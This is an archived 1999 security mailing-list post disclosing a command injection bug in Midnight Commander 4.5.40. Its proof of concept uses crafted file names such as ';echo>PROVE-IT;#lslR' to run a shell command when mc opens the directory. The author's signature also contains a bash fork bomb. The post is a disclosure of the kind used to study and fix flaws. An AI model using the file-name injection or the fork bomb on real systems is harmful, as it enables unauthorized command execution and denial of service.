mc bug

From: Michal Zalewski (lcamtufat_private)
Date: Fri Jul 09 1999 - 21:09:33 PDT

  • Next message: Luciano Martins: "ExpressFS 2.x FTPServer remotely exploitable buffer overflow"

    Hmmm... mc 4.5.40.
    
    ~$ grep lslR /usr/lib/mc/extfs/extfs.ini
    # For browsing lslR listings (found on many ftp sites)
    lslR
    ~$ ls -l /usr/lib/mc/extfs/lslR
    -rwxr-xr-x   1 root     root          635 paź 18  1998 /usr/lib/mc/extfs/lslR
    ~$ ln -s /DoesNotExist ';echo>PROVE-IT;#lslR'
    ~$ touch ';echo>PROVE-IT;'
    ~$ ls -l PROVE-IT
    ls: PROVE-IT: No such file or directory
    ~$ mc
    
    (Surprisingly, you'll see directory instead of broken symlink. No need
     to do anything, immediately quit from Midnight Commander)
    
    ~$ ls -l PROVE-IT
    -rw-------   1 lcamtuf  lcamtuf         1 lip 10 05:55 PROVE-IT
    
    Nice - lslR fs support is only an example, of course.
    
    _______________________________________________________________________
    Michal Zalewski [lcamtufat_private] [link / marchew] [dione.ids.pl SYSADM]
    [Marchew Industries] ! [http://lcamtuf.na.export.pl] bash$ :(){ :|:&};:
    [voice phone: +48 22 813 25 86] <=-=> [cellular phone: +48 501 4000 69]
    Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:06:40 PDT